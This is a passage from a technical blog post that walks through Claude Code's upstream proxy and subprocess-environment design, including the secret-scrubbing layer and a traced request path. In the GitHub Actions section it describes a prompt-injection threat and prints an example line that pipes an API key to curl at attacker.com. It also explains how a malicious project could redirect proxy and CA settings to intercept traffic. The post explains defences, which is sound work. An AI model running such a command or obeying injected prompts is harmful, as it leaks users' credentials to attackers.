    &lt;span class="err"&gt;#&lt;/span&gt; &lt;span class="nx"&gt;Get&lt;/span&gt; &lt;span class="nx"&gt;proxy&lt;/span&gt; &lt;span class="nf"&gt;vars &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;empty&lt;/span&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="nx"&gt;proxy&lt;/span&gt; &lt;span class="nx"&gt;disabled&lt;/span&gt; &lt;span class="nx"&gt;or&lt;/span&gt; &lt;span class="nx"&gt;not&lt;/span&gt; &lt;span class="k"&gt;in&lt;/span&gt; &lt;span class="nx"&gt;CCR&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="nx"&gt;proxyEnv&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;getUpstreamProxyEnv&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;

    &lt;span class="err"&gt;#&lt;/span&gt; &lt;span class="nx"&gt;If&lt;/span&gt; &lt;span class="nx"&gt;GHA&lt;/span&gt; &lt;span class="nx"&gt;secret&lt;/span&gt; &lt;span class="nx"&gt;scrubbing&lt;/span&gt; &lt;span class="nx"&gt;is&lt;/span&gt; &lt;span class="nx"&gt;enabled&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;strip&lt;/span&gt; &lt;span class="nx"&gt;sensitive&lt;/span&gt; &lt;span class="nx"&gt;vars&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="nx"&gt;env&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;CLAUDE_CODE_SUBPROCESS_ENV_SCRUB&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="nx"&gt;env&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;copy&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;process&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;env&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="nx"&gt;env&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;merge&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;proxyEnv&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="nx"&gt;key&lt;/span&gt; &lt;span class="k"&gt;in&lt;/span&gt; &lt;span class="nx"&gt;SCRUB_LIST&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="k"&gt;delete&lt;/span&gt; &lt;span class="nx"&gt;env&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;key&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
            &lt;span class="k"&gt;delete&lt;/span&gt; &lt;span class="nx"&gt;env&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;INPUT_&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nx"&gt;key&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;  &lt;span class="err"&gt;#&lt;/span&gt; &lt;span class="nx"&gt;GHA&lt;/span&gt; &lt;span class="nx"&gt;auto&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nx"&gt;creates&lt;/span&gt; &lt;span class="nx"&gt;INPUT_&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nx"&gt;NAME&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;env&lt;/span&gt;

    &lt;span class="err"&gt;#&lt;/span&gt; &lt;span class="nx"&gt;Normal&lt;/span&gt; &lt;span class="k"&gt;case&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;process&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;env&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nx"&gt;proxy&lt;/span&gt; &lt;span class="nx"&gt;overlay&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nf"&gt;merge&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;process&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;env&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;proxyEnv&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The proxy env function is registered lazily. The &lt;code&gt;subprocessEnv&lt;/code&gt; module has no static import of the upstream proxy module — this is deliberate. In non-CCR environments (local CLI, IDE integration), the proxy module graph (upstreamproxy + relay + WebSocket + FFI) is never loaded. The registration happens in &lt;code&gt;init&lt;/code&gt; only when &lt;code&gt;CLAUDE_CODE_REMOTE&lt;/code&gt; is set:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="err"&gt;#&lt;/span&gt; &lt;span class="nx"&gt;In&lt;/span&gt; &lt;span class="nx"&gt;init&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;only&lt;/span&gt; &lt;span class="nx"&gt;when&lt;/span&gt; &lt;span class="nx"&gt;running&lt;/span&gt; &lt;span class="k"&gt;in&lt;/span&gt; &lt;span class="nx"&gt;CCR&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;span class="nf"&gt;registerUpstreamProxyEnvFn&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;getUpstreamProxyEnv&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="nf"&gt;initUpstreamProxy&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  The GHA Secret Scrubbing Layer
&lt;/h3&gt;

&lt;p&gt;When running in GitHub Actions, a separate threat applies: prompt injection can exfiltrate secrets via shell expansion. A malicious prompt could trick the model into running &lt;code&gt;echo $ANTHROPIC_API_KEY | curl attacker.com -d @-&lt;/code&gt;. The subprocess environment scrubber removes 20+ sensitive variables:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Anthropic auth&lt;/strong&gt;: API keys, OAuth tokens, custom headers&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Cloud provider creds&lt;/strong&gt;: AWS secret keys, GCP credentials, Azure client secrets&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;GitHub Actions OIDC tokens&lt;/strong&gt;: Leaking these allows minting installation tokens — repo takeover&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Actions runtime tokens&lt;/strong&gt;: Cache poisoning via artifact/cache API — supply-chain pivot&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;OTEL headers&lt;/strong&gt;: Often carry &lt;code&gt;Authorization: Bearer&lt;/code&gt; tokens for monitoring backends&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The scrub list explicitly does NOT include &lt;code&gt;GITHUB_TOKEN&lt;/code&gt; and &lt;code&gt;GH_TOKEN&lt;/code&gt;. These are job-scoped tokens that expire when the workflow ends. Wrapper scripts need them to call the GitHub API, and their short lifetime limits the blast radius.&lt;/p&gt;

&lt;p&gt;The &lt;code&gt;INPUT_*&lt;/code&gt; variant deletion handles a GitHub Actions quirk: the &lt;code&gt;with:&lt;/code&gt; inputs in a workflow step are auto-duplicated as &lt;code&gt;INPUT_&amp;lt;NAME&amp;gt;&lt;/code&gt; environment variables. &lt;code&gt;INPUT_ANTHROPIC_API_KEY&lt;/code&gt; would survive the scrub of &lt;code&gt;ANTHROPIC_API_KEY&lt;/code&gt; without this.&lt;/p&gt;

&lt;h3&gt;
  
  
  Child CLI Inheritance
&lt;/h3&gt;

&lt;p&gt;When Claude Code spawns a child CLI process (e.g., a subagent), the child can't re-initialize the relay — the token file was already unlinked. But the parent's relay is still running on localhost. The &lt;code&gt;getUpstreamProxyEnv&lt;/code&gt; function detects this case:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;getUpstreamProxyEnv&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="nx"&gt;proxy&lt;/span&gt; &lt;span class="nx"&gt;not&lt;/span&gt; &lt;span class="nx"&gt;initialized&lt;/span&gt; &lt;span class="nx"&gt;locally&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="err"&gt;#&lt;/span&gt; &lt;span class="nx"&gt;Check&lt;/span&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="nx"&gt;we&lt;/span&gt; &lt;span class="nx"&gt;inherited&lt;/span&gt; &lt;span class="nx"&gt;proxy&lt;/span&gt; &lt;span class="nx"&gt;vars&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="nx"&gt;a&lt;/span&gt; &lt;span class="nx"&gt;parent&lt;/span&gt; &lt;span class="nx"&gt;process&lt;/span&gt;
        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="nx"&gt;env&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;HTTPS_PROXY&lt;/span&gt; &lt;span class="nx"&gt;and&lt;/span&gt; &lt;span class="nx"&gt;env&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;SSL_CERT_FILE&lt;/span&gt; &lt;span class="nx"&gt;are&lt;/span&gt; &lt;span class="nx"&gt;both&lt;/span&gt; &lt;span class="kd"&gt;set&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="err"&gt;#&lt;/span&gt; &lt;span class="nx"&gt;Pass&lt;/span&gt; &lt;span class="nx"&gt;through&lt;/span&gt; &lt;span class="nx"&gt;parent&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;s proxy configuration
            return inherited proxy vars
        return {}

    # We own the relay — return our vars
    return {
        HTTPS_PROXY: "http://127.0.0.1:&amp;lt;port&amp;gt;",
        https_proxy: "http://127.0.0.1:&amp;lt;port&amp;gt;",
        NO_PROXY: &amp;lt;bypass list&amp;gt;,
        no_proxy: &amp;lt;bypass list&amp;gt;,
        SSL_CERT_FILE: "~/.ccr/ca-bundle.crt",
        NODE_EXTRA_CA_CERTS: "~/.ccr/ca-bundle.crt",
        REQUESTS_CA_BUNDLE: "~/.ccr/ca-bundle.crt",
        CURL_CA_BUNDLE: "~/.ccr/ca-bundle.crt",
    }
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Both lowercase and uppercase variants are set for each variable. Some tools read &lt;code&gt;https_proxy&lt;/code&gt;, others &lt;code&gt;HTTPS_PROXY&lt;/code&gt;. Setting both ensures universal coverage.&lt;/p&gt;

&lt;p&gt;Only HTTPS is proxied. The relay handles CONNECT (which is exclusively for HTTPS tunneling) and nothing else. Plain HTTP has no credentials to inject, and routing it through the relay would just produce a 405 error.&lt;/p&gt;




&lt;h2&gt;
  
  
  Security Boundaries
&lt;/h2&gt;

&lt;p&gt;The upstream proxy operates at the intersection of several trust boundaries:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The model can't read the token.&lt;/strong&gt; The file is unlinked before the agent loop starts. The heap is non-dumpable. The token never appears in environment variables.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Subprocesses can't reach arbitrary endpoints.&lt;/strong&gt; Traffic goes through the gateway, which can enforce allowlists and inject org credentials. The NO_PROXY list ensures local and already-authorized traffic bypasses the gateway.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The proxy env vars are classified as dangerous.&lt;/strong&gt; In Claude Code's environment variable security model, &lt;code&gt;HTTPS_PROXY&lt;/code&gt;, &lt;code&gt;SSL_CERT_FILE&lt;/code&gt;, and &lt;code&gt;NODE_EXTRA_CA_CERTS&lt;/code&gt; are NOT in the safe-vars list. Project-level settings files (&lt;code&gt;.claude/settings.json&lt;/code&gt;) can't set them without a trust dialog — a malicious project could otherwise redirect traffic to an attacker's proxy and supply an attacker's CA certificate, enabling MITM of all subprocess HTTPS traffic. Only the upstream proxy system and user-level config can set them.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Initialization fails open but fails loudly.&lt;/strong&gt; Every failure path logs a warning with the specific error. The session continues without the proxy, so users aren't blocked. But the debug logs make it clear why subprocess traffic isn't being proxied.&lt;/p&gt;




&lt;h2&gt;
  
  
  Design Trade-offs
&lt;/h2&gt;

&lt;p&gt;Several design decisions in the upstream proxy system reveal the constraints it operates under.&lt;/p&gt;

&lt;h3&gt;
  
  
  Why Fail-Open Everywhere?
&lt;/h3&gt;

&lt;p&gt;Every step of initialization — gate checks, token read, CA download, relay bind, prctl — fails open. If any step errors, the proxy is disabled and the session continues without it. This is the opposite of how most security systems work, where failure means "deny access."&lt;/p&gt;

&lt;p&gt;The reasoning: the upstream proxy is an &lt;strong&gt;infrastructure enhancement&lt;/strong&gt;, not a security gate. Its purpose is to inject credentials and log traffic for organizations. A session without the proxy still works — the agent can't reach org-internal services through the proxy, but it can still do everything else. Blocking the entire session because a CA endpoint was temporarily unreachable would be an availability regression for a feature the user didn't directly ask for.&lt;/p&gt;

&lt;p&gt;The fail-open contract is maintained end-to-end. The &lt;code&gt;init&lt;/code&gt; entry point wraps the entire &lt;code&gt;initUpstreamProxy()&lt;/code&gt; call in a try-catch that logs and continues. Even if the module itself throws an unexpected error, the session starts.&lt;/p&gt;

&lt;h3&gt;
  
  
  Why No Test Suite?
&lt;/h3&gt;

&lt;p&gt;The upstream proxy has &lt;strong&gt;no dedicated test files&lt;/strong&gt;. This is unusual for a security-sensitive component. The relay's source even exports &lt;code&gt;startNodeRelay&lt;/code&gt; specifically so tests can exercise the Node path under Bun (with a comment explaining this), and the upstream proxy module exports &lt;code&gt;resetUpstreamProxyForTests()&lt;/code&gt; — the hooks are there, but no tests exist yet.&lt;/p&gt;

&lt;p&gt;The likely reason: the system is tightly coupled to infrastructure that's hard to simulate. The relay needs a WebSocket endpoint that speaks protobuf and responds with CONNECT establishment. The CA download hits a real HTTP endpoint. The prctl call needs Linux. The token lifecycle depends on tmpfs. Each piece works correctly in production but is expensive to mock in isolation. This is a testing debt that the exported test hooks suggest the team intends to pay down.&lt;/p&gt;

&lt;h3&gt;
  
  
  Why Hand-Coded Protobuf Instead of gRPC?
&lt;/h3&gt;

&lt;p&gt;The tunnel carries a single message type with a single bytes field. gRPC would add:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;A protobuf compiler step in the build pipeline&lt;/li&gt;
&lt;li&gt;A runtime library (~100KB+ for protobufjs)&lt;/li&gt;
&lt;li&gt;HTTP/2 framing that the L7 load balancer would need to support&lt;/li&gt;
&lt;li&gt;Code generation for a one-field message&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The hand-coded encoder is 10 lines. The decoder is 12 lines. Both are trivially auditable. The trade-off breaks clearly in favor of hand-coding for this specific use case.&lt;/p&gt;

&lt;h3&gt;
  
  
  Why Lazy Module Loading?
&lt;/h3&gt;

&lt;p&gt;The upstream proxy module graph includes WebSocket libraries, Bun FFI bindings, node:net, and the relay state machine. In non-CCR environments (local CLI, IDE integrations), none of this is needed. A static import would load it unconditionally — adding startup latency and memory overhead for every user, even though fewer than 1% run in CCR containers.&lt;/p&gt;

&lt;p&gt;The lazy-import pattern pushes this cost to zero for non-CCR users:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="err"&gt;#&lt;/span&gt; &lt;span class="nx"&gt;In&lt;/span&gt; &lt;span class="nx"&gt;init&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;only&lt;/span&gt; &lt;span class="nx"&gt;when&lt;/span&gt; &lt;span class="nx"&gt;CLAUDE_CODE_REMOTE&lt;/span&gt; &lt;span class="nx"&gt;is&lt;/span&gt; &lt;span class="kd"&gt;set&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;span class="nx"&gt;proxy&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="k"&gt;import&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;upstreamproxy&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="nf"&gt;registerUpstreamProxyEnvFn&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;proxy&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;getUpstreamProxyEnv&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;proxy&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;initUpstreamProxy&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The subprocess environment module cooperates: it holds a function reference (&lt;code&gt;_getUpstreamProxyEnv&lt;/code&gt;) that defaults to undefined. In non-CCR sessions, it's never registered, so &lt;code&gt;subprocessEnv()&lt;/code&gt; returns &lt;code&gt;process.env&lt;/code&gt; unmodified — no proxy module loaded, no overhead.&lt;/p&gt;

&lt;h3&gt;
  
  
  Why Both Uppercase and Lowercase Env Vars?
&lt;/h3&gt;

&lt;p&gt;The proxy sets both &lt;code&gt;HTTPS_PROXY&lt;/code&gt; and &lt;code&gt;https_proxy&lt;/code&gt;, both &lt;code&gt;NO_PROXY&lt;/code&gt; and &lt;code&gt;no_proxy&lt;/code&gt;. This isn't redundant — it's necessary. The ecosystem is split:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;curl&lt;/strong&gt; prefers lowercase, falls back to uppercase&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Python requests&lt;/strong&gt; checks uppercase first&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Go's net/http&lt;/strong&gt; checks both, prefers &lt;code&gt;HTTPS_PROXY&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Node.js&lt;/strong&gt; (undici) checks lowercase first&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Bun&lt;/strong&gt; checks lowercase first&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Setting both ensures every tool in every runtime sees the proxy configuration without requiring users to set variables manually.&lt;/p&gt;




&lt;h2&gt;
  
  
  Invisible by Design
&lt;/h2&gt;

&lt;p&gt;The upstream proxy has no user-facing UI. No status bar indicator. No toast notification. No &lt;code&gt;--show-proxy-status&lt;/code&gt; flag. No React component renders proxy state.&lt;/p&gt;

&lt;p&gt;All proxy logging goes through a debug-only channel that writes to &lt;code&gt;~/.claude/debug/&amp;lt;session-id&amp;gt;.txt&lt;/code&gt;. Users only see these messages if they start the CLI with &lt;code&gt;--debug&lt;/code&gt; or enable it mid-session with &lt;code&gt;/debug&lt;/code&gt;. The messages are tagged &lt;code&gt;[upstreamproxy]&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;[upstreamproxy] enabled on 127.0.0.1:49152
[upstreamproxy] relay listening on 127.0.0.1:49152
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Or on failure:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;[upstreamproxy] no session token file; proxy disabled
[upstreamproxy] ca-cert fetch 404; proxy disabled
[upstreamproxy] relay start failed: EADDRINUSE; proxy disabled
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The user can verify the proxy is active by checking environment variables inside a subprocess:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;env&lt;/span&gt; | &lt;span class="nb"&gt;grep &lt;/span&gt;HTTPS_PROXY   &lt;span class="c"&gt;# http://127.0.0.1:&amp;lt;port&amp;gt;&lt;/span&gt;
&lt;span class="nb"&gt;env&lt;/span&gt; | &lt;span class="nb"&gt;grep &lt;/span&gt;SSL_CERT_FILE  &lt;span class="c"&gt;# ~/.ccr/ca-bundle.crt&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This invisibility is deliberate. The proxy is infrastructure plumbing for the container orchestrator, not a user feature. If it works, the user shouldn't notice it. If it fails, the session continues without it and the debug log explains what happened.&lt;/p&gt;




&lt;h2&gt;
  
  
  The Full Round-Trip
&lt;/h2&gt;

&lt;p&gt;Here's a single &lt;code&gt;curl&lt;/code&gt; request traced through every function in the chain, from user action to response.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Step 0: Initialization&lt;/strong&gt; (happens once at startup)&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;init()
  → [lazy import upstreamproxy module]
  → registerUpstreamProxyEnvFn(getUpstreamProxyEnv)
  → initUpstreamProxy()
    → isEnvTruthy("CLAUDE_CODE_REMOTE")         # gate 1
    → isEnvTruthy("CCR_UPSTREAM_PROXY_ENABLED")  # gate 2
    → readToken("/run/ccr/session_token")        # gate 3-4
    → setNonDumpable()                           # prctl via Bun FFI
    → downloadCaBundle(baseUrl, systemCaPath, outPath)
    → startUpstreamProxyRelay({ wsUrl, sessionId, token })
      → startBunRelay() or startNodeRelay()      # runtime dispatch
    → registerCleanup(() =&amp;gt; relay.stop())
    → unlink(tokenPath)                          # token now heap-only
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Step 1: Model generates &lt;code&gt;curl https://api.datadog.com/v1/metrics&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;The Bash tool prepares to spawn the subprocess:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;BashTool.executeCommand(command)
  → Shell.execute(command, { env: subprocessEnv(), ... })
    → subprocessEnv()
      → _getUpstreamProxyEnv()                   # registered function pointer
        → getUpstreamProxyEnv()                   # returns { HTTPS_PROXY, SSL_CERT_FILE, ... }
      → merge(process.env, proxyEnv)
    → spawn(binary, args, { env: mergedEnv })
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The child &lt;code&gt;curl&lt;/code&gt; process inherits &lt;code&gt;HTTPS_PROXY=http://127.0.0.1:49152&lt;/code&gt; and &lt;code&gt;SSL_CERT_FILE=~/.ccr/ca-bundle.crt&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Step 2: curl sends CONNECT to the relay&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;curl reads &lt;code&gt;HTTPS_PROXY&lt;/code&gt;, opens a TCP connection to &lt;code&gt;127.0.0.1:49152&lt;/code&gt;, and sends:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight http"&gt;&lt;code&gt;&lt;span class="err"&gt;CONNECT api.datadog.com:443 HTTP/1.1
Host: api.datadog.com:443

&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The relay's TCP server fires:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;[socket open]
  → newConnState()                               # { connectBuf, pending, wsOpen, established, closed }

[socket data: CONNECT header arrives]
  → handleData(adapter, state, data, ...)
    → Buffer.concat(state.connectBuf, data)
    → indexOf("\r\n\r\n")                        # found at end of header
    → regex match "CONNECT api.datadog.com:443 HTTP/1.1"
    → stash trailing bytes in state.pending
    → openTunnel(adapter, state, connectLine, ...)
      → new WebSocket(wsUrl, { headers, proxy/agent, tls })
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Step 3: WebSocket opens, CONNECT line forwarded to gateway&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;ws.onopen()
  → encodeChunk(head)                            # head = CONNECT line + Proxy-Authorization
    → [0x0a, varint(length), ...bytes]           # protobuf wire encoding
  → ws.send(encodedChunk)
  → state.wsOpen = true
  → flush state.pending                          # TLS ClientHello if coalesced
    → forwardToWs(ws, buf)
      → encodeChunk(slice) for each 512KB chunk
      → ws.send(encodedChunk)
  → setInterval(sendKeepalive, 30000, ws)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Step 4: Gateway responds with 200, curl proceeds with TLS&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;ws.onmessage(event)
  → decodeChunk(raw)                             # verify 0x0a tag, read varint, extract payload
  → state.established = true                     # 502 boundary: no more plaintext errors
  → adapter.write(payload)                       # "HTTP/1.1 200 Connection Established\r\n\r\n"
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;curl sees the 200, starts TLS handshake through the tunnel. Every subsequent data event follows the same path: &lt;code&gt;handleData&lt;/code&gt; → &lt;code&gt;forwardToWs&lt;/code&gt; → &lt;code&gt;encodeChunk&lt;/code&gt; → &lt;code&gt;ws.send&lt;/code&gt; (client to server), and &lt;code&gt;ws.onmessage&lt;/code&gt; → &lt;code&gt;decodeChunk&lt;/code&gt; → &lt;code&gt;adapter.write&lt;/code&gt; (server to client).&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Step 5: Cleanup when curl exits&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;[socket close]
  → cleanupConn(state)
    → clearInterval(state.pinger)                # stop keepalive
    → state.ws.close()                           # close WebSocket
    → state.ws = undefined
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Step 6: Session shutdown&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;gracefulShutdown()
  → runCleanupFunctions()
    → relay.stop()                               # registered during init
      → server.stop(true) [Bun] or server.close() [Node]
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Every function in this chain is named. The total path from model output to subprocess response is: &lt;code&gt;BashTool.executeCommand&lt;/code&gt; → &lt;code&gt;Shell.execute&lt;/code&gt; → &lt;code&gt;subprocessEnv&lt;/code&gt; → &lt;code&gt;getUpstreamProxyEnv&lt;/code&gt; → &lt;code&gt;spawn&lt;/code&gt; → [kernel TCP] → &lt;code&gt;handleData&lt;/code&gt; → &lt;code&gt;openTunnel&lt;/code&gt; → &lt;code&gt;encodeChunk&lt;/code&gt; → [WebSocket] → [gateway] → &lt;code&gt;decodeChunk&lt;/code&gt; → &lt;code&gt;adapter.write&lt;/code&gt; → [kernel TCP] → curl.&lt;/p&gt;




&lt;h2&gt;
  
  
  The Complete Sequence
&lt;/h2&gt;

&lt;p&gt;Here's the full initialization, end to end:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Gate check&lt;/strong&gt;: Verify &lt;code&gt;CLAUDE_CODE_REMOTE&lt;/code&gt;, &lt;code&gt;CCR_UPSTREAM_PROXY_ENABLED&lt;/code&gt;, session ID.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Read token&lt;/strong&gt;: Load session token from &lt;code&gt;/run/ccr/session_token&lt;/code&gt; (tmpfs).&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Block ptrace&lt;/strong&gt;: &lt;code&gt;prctl(PR_SET_DUMPABLE, 0)&lt;/code&gt; via Bun FFI to libc.&lt;/p&gt;&lt;/li&gt;
